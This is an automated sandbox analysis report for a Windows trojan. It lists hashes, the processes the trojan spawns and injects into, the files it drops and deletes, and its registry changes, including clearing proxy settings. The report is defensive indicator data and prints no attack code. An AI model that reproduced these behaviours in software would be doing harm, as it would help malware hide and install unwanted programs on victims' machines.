Skip to main content

Trojan.GenericKD.1776795_6ced652ec7


Trojan.Win32.Agent.ahbcq (Kaspersky), Trojan.GenericKD.1776795 (B) (Emsisoft), Trojan.GenericKD.1776795 (AdAware), Trojan.NSIS.StartPage.FD, Trojan.Win32.BHO.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, Trojan.Win32.Swrort.3.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, VirTool

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 6ced652ec7bb0bc11a0870b22efc3c90

SHA1: 3ba914f2c45098317c860c33353e57d3b2236e78

SHA256: 73eea81d609db2fdfb17eaf58b94d1f74a024feb71bd99d495f9627d9827e326

SSDeep: 24576:yp6ozdwaBFFcbiPwIGXGA7Se 02W9wKEG49MBRg8NnJr5FfjE86q1T7hCvmUpN1:ypBdwaj1vA9wndMfg2rn56oZCFpf

Size: 1892284 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2009-06-19 00:33:27

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

candid.exe:600
pczh_107_306.exe:1628
sc.exe:1416
sc.exe:1888
wwwww_3340.exe:3976
oovmdw_70745.exe:588
yymusic05.exe:3356
guagua_77150006814.exe:496

The Trojan injects its code into the following process(es):

%original file name%.exe:928
YFMSever.exe:3420
Ainqngz5.2.exe:504

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process pczh_107_306.exe:1628 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\жÔØ.lnk (715 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\Base64.dll (4 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\°®Çé.ÖÇ»Û.5.2\°®Çé.ÖÇ»Û.5.2.lnk (720 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsExec.dll (6 bytes)
%Program Files%\ainqngz5.2\uninstall.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsA.tmp (6 bytes)
%Program Files%\ainqngz5.2\candid.exe (5520 bytes)
%Program Files%\ainqngz5.2\Ainqngz5.2.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsB.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh8.tmp (19409 bytes)
%Program Files%\ainqngz5.2\schedule.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584\YYM_955WD30.gif (1134 bytes)
%Documents and Settings%\%current user%\Desktop\°®Çé.ÖÇ»Û.5.2.lnk (708 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\Base64.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsA.tmp (0 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh9.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Templates\1120148215041584\YYM_955WD30.gif (0 bytes)

The process wwwww_3340.exe:3976 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\yyfm0529\2014081121\Data\dh.ini (56 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\yyfm0529.lnk (840 bytes)
%Program Files%\yyfm0529\2014081121\swresample-0.dll (3312 bytes)
%Program Files%\yyfm0529\2014081121\libav.dll (6360 bytes)
%Program Files%\yyfm0529\2014081121\YFMSever.exe (23936 bytes)
%Program Files%\yyfm0529\2014081121\SysConfig.ini (256 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\¹Ù·½Ö÷Ò³.lnk (334 bytes)
%Program Files%\yyfm0529\2014081121\Data\client.ini (36 bytes)
%Program Files%\yyfm0529\2014081121\source.dll (6584 bytes)
%Program Files%\yyfm0529\2014081121\channels.xml (784 bytes)
%Program Files%\yyfm0529\2014081121\avcodec-54.dll (23936 bytes)
%Program Files%\yyfm0529\2014081121\favorfm.xml (440 bytes)
%Program Files%\yyfm0529\2014081121\Unins.exe (9608 bytes)
%Program Files%\yyfm0529\2014081121\Data\setup.ini (110 bytes)
%Program Files%\yyfm0529\2014081121\audio.dll (3616 bytes)
%Program Files%\yyfm0529\2014081121\Data\version.ini (32 bytes)
%Program Files%\yyfm0529\2014081121\DuiLib.dll (16288 bytes)
%Program Files%\yyfm0529\2014081121\avformat-54.dll (12536 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\ÅäÖù¤¾ß\жÔØyyfm0529.lnk (830 bytes)
%Program Files%\yyfm0529\2014081121\pthreadGC2.dll (3616 bytes)
%Program Files%\yyfm0529\2014081121\avcore.dll (2392 bytes)
%Program Files%\yyfm0529\2014081121\yymusic05.exe (63950 bytes)
%Program Files%\yyfm0529\2014081121\avutil-52.dll (5520 bytes)
%Program Files%\yyfm0529\2014081121\Data\user2.ini (40 bytes)

The process %original file name%.exe:928 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\spkjrjp_30279.exe (38675 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\wwwww_3340.exe (433142 bytes)
%Program Files%\updatr\tj.txt (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\pczh_107_306.exe (46502 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\System.dll (11 bytes)
%Program Files%\updatr\oovmdw_70745.exe (51840 bytes)
%Program Files%\updatr\uboskin\config.ini (290 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\guagua_77150006814.exe (111890 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (65883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\NSISdl.dll (14 bytes)
%Program Files%\updatr\yunbo0717.exe (6360 bytes)
%Program Files%\updatr\union.exe (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\mi (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1.tmp (0 bytes)

The process oovmdw_70745.exe:588 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (674 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl.dll (65930 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMReport.dll.bdl (33840 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMDownload.dll (5520 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNet.dll.bdl (30837 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\33f59beac1c942dd19f41a7fd30f3f9b.bdt (647 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\hu.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl(1).dll.bdl (366657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\68905108990c088c31aead3b6d1651be.bdt (519 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\tmpjnmhqw.dll (27504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\res\onlineWnd.zip (14184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDLogicUtils.dll.bdl (47101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\a644398e96b2e49d735a01f51e447930.bdt (3 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca (2505 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNetGetInfo.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss5.tmp (111370 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNet.dll (894 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMSkin.dll (36698 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\f2d00606824cd42a1c03eb9caa15e29f.bdt (631 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss4.tmp (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca (0 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (0 bytes)

The process YFMSever.exe:3420 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\ffee2f88\DMSet.Xml (215 bytes)

The process yymusic05.exe:3356 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\yyfm0529\2014081121\Data\server.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\a[1].htm (3 bytes)
%Program Files%\yyfm0529\2014081121\Data\client.ini (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ver[1].txt (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].ashx (3 bytes)
%Program Files%\yyfm0529\2014081121\SysConfig.ini (440 bytes)
%Program Files%\yyfm0529\2014081121\Data\user2.ini (402 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\stj[1].ashx (3 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].ashx (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\stj[1].ashx (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\a[1].htm (0 bytes)

The process guagua_77150006814.exe:496 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)

The process Ainqngz5.2.exe:504 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1] (1644 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\www.fengyunzhibo[1].xml (478 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].js (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\DD_belatedPNG_0.0.8a-min[1].js (3009 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[2].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\csbh200150[1].jpg (5193 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[2].js (2196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\zhibo2[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\load_small[1].gif (556 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAQRGDKX.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[2].css (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3-media[1].css (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\weixinscan[1].jpg (19100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[6].jpg (1995 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (2912 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[8].jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\to-new[1].png (72 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[9].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\home-v3[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[2].jpg (148 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\home-v3[1].css (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[1].jpg (156 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[5].jpg (2566 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (767 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\jquery-1.8.3.min[1].js (56651 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\default_avatar_s[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[1].jpg (2454 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAZMOJ7D.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[3].jpg (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[1].jpg (569 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAEJ6JMD.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[2].jpg (1997 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[2].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[4].jpg (3367 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\c[1].php (4285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[4].jpg (4 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[1].js (1321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VGXC.tmp (56 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (351 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[3].jpg (2451 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[2].js (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (1189 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[3].jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[1].jpg (4 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].png (13875 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\nav-bk[1].png (126 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[1].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[2].php (750 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\banner-hyperx-20140728[1].jpg (16784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\1pc[1].png (95 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\img_loading_v3[1].gif (773 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\new_message[1].js (1657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cover_bk[1].png (68 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[2].js (660 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tv.aiqingzhihui[1].txt (257 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\json2[1].js (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[1].js (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[1].js (363 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (12240 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\new_message[1].css (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\show_card[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[2].jpg (464 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1].htm (526 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[7].jpg (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[1].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loading[1].gif (4285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[2].js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[4].jpg (4 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\home-v3[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAEJ6JMD.gif (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[1].css (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.aaa[1].xml (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[1].js (0 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAZMOJ7D.gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[1].js (0 bytes)

Registry activity

The process candid.exe:600 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 8E A6 5C 16 03 B9 B9 73 91 58 8C B4 96 8B 54"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process pczh_107_306.exe:1628 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayIcon" = "%Program Files%\ainqngz5.2\uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayVersion" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\°®Çé.ÖÇ»Û.5.2]
"DisplayName" = "°®Çé.ÖÇ»Û5.2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\dsrs]
"et" = "2014-8-11"

